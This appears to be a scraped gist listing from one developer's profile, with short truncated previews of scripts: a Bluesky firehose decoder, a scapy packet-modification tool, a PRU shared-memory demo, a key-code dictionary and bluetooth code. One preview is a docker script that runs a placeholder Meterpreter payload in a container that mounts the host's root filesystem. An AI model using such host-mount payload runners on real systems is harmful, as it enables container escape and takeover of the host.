christopherwoodall

Zero-dependency Python script to decode the Bluesky Firehose

This is a pure Python implementation of code necessary to decode the Bluesky Firehose's low-level binary data format.

It does not depend on any third-party libraries for decoding; we implement DAG_CBOR and CARv1 decoding ourselves.

To run this, install Astral's UV.

Then:

christopherwoodall

#!/bin/bash

if [ -z "$1" ]; then
  echo "Usage: $0 <input_video>"
  exit 1
fi

input_file="$1"

if [ -z "$2" ]; then

christopherwoodall

#!/usr/bin/python2

"""
    Use scapy to modify packets going through your machine.
    Based on nfqueue to block packets in the kernel and pass them to scapy for validation
"""

import nfqueue
from scapy.all import *
import os

christopherwoodall

////////////////////////////////////////
//	bitflip.arm.c
//	Demo of shared memory
//	Usage:	This takes the first word of SHARED_RAM and flips every other bit
//				over and over.
//          If /dev/uio0 doesn't exist, consider using
//              sudo ./bitflip.arm.out /dev/mem 0x4a300000
//	Wiring:	None
//	Setup:	Run this on the ARM and run bitflip.pru0.c or bitflip.pru1.c on the PRU
//	See:	 

christopherwoodall

#!/usr/bin/python3

import docker
from io import BytesIO
import os
import re
import tarfile
import time

christopherwoodall

import docker

client = docker.from_env()

payload = "INSERT PYTHON METERPRETER PAYLOAD HERE"
cmd = 'python -c "{0}"'.format(payload)

volumes = {
  '/': {
    'bind': '/host',

christopherwoodall

// leave at least 2 line with only a star on it below, or doc generation fails
/**
 *
 *
 * Placeholder for custom user javascript
 * mainly to be overridden in profile/static/custom/custom.js
 * This will always be an empty file in IPython
 *
 * User could add any javascript in the `profile/static/custom/custom.js` file.
 * It will be executed by the ipython notebook at load time.

christopherwoodall

christopherwoodall

#Giant dictonary to hold key name and VK value
VK_CODE = {'backspace':0x08,
           'tab':0x09,
           'clear':0x0C,
           'enter':0x0D,
           'shift':0x10,
           'ctrl':0x11,
           'alt':0x12,
           'pause':0x13,
           'caps_lock':0x14,

christopherwoodall

import os
import sys
import time
import logging

import dbus
from bluetooth import *